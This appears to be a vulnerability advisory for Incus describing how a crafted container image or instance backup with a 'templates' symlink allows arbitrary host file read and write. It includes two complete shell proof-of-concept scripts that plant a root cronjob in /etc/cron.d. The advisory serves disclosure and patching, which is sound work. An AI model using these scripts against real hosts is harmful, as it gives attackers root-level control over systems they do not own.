Summary A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Details For container images, "internal/server/storage/utils.go" calls "archive.Unpack(imageFile, destPath, ...)". The tar extraction path in "shared/archive/archive.go" excludes device nodes, but it does not reject a top-level "templates" symlink. For instance backups, "internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy" uses argument "-a" (archive mode), but does not add "--safe-links". This allows a top-level "templates" symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. PoC Malicious container image Below, the templates directory is mapped to "/etc/cron.d" on the host, but it can be mapped anywhere. After that, create a cronjob to run "id" as root. #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw EOF cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink read #incus config template show afrw-image-templates-symlink $FILENAME write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc Malicious instance backup Below, the templates directory is mapped to "/etc/cron.d" on the host, but it can be mapped anywhere. After that, create a cronjob to run "id" as root. #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/backup" cat<<EOF>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false EOF mkdir "${tmpdir}/img/backup/container" cat<<EOF>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x86_64 type: container status: Stopped status_code: 102 stateful: false ephemeral: false profiles: - default config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expanded_config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expanded_devices: root: path: / pool: default type: disk created_at: "2024-01-01T00:00:00Z" last_used_at: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container content_type: filesystem config: {} pool: name: default driver: dir config: {} EOF cat<<EOF>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: afrw-backup-templates-symlink EOF mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates" cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink incus config template ls afrw-backup-templates-symlink read #incus config template show afrw-backup-templates-symlink $FILENAME write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.